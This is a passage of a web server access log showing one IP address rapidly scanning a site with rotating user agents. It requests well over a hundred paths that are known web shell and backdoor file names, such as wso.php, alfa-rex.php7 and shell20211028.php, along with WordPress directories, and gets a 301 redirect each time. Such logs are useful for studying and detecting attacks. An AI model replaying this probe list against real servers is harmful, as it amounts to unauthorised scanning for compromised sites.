"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:49:36 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.36.48.76 - - [26/Apr/2025:04:49:36 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:36 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:49:36 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:49:37 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.36.48.76 - - [26/Apr/2025:04:49:37 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:37 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:38 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:38 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:49:38 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:38 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:38 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:38 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:38 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:38 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:38 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:49:39 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:39 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:49:39 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:39 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:39 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:39 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:39 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:39 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:39 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:40 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.36.48.76 - - [26/Apr/2025:04:49:40 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:40 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:40 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:40 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:40 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:40 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:40 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:40 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:40 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:41 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:41 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:41 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:41 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:41 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:41 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.36.48.76 - - [26/Apr/2025:04:49:41 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:41 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:41 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:41 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:42 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:43 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:43 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:43 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:43 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.36.48.76 - - [26/Apr/2025:04:49:43 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:43 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:49:43 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:44 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:49:44 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:44 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:44 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:44 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:44 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:49:44 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:44 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:44 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:45 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:45 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:45 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:45 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:45 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:45 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:45 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:49:45 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:45 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:45 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:46 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:46 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:46 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.36.48.76 - - [26/Apr/2025:04:49:46 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:46 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:46 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:46 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:46 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:46 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:46 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:46 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:47 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.36.48.76 - - [26/Apr/2025:04:49:47 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:47 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:48 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:48 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.36.48.76 - - [26/Apr/2025:04:49:48 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:48 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:48 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:49 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:49 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:49 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:49 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.36.48.76 - - [26/Apr/2025:04:49:50 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:50 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:50 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:50 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:50 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:50 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:50 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:51 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:51 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" 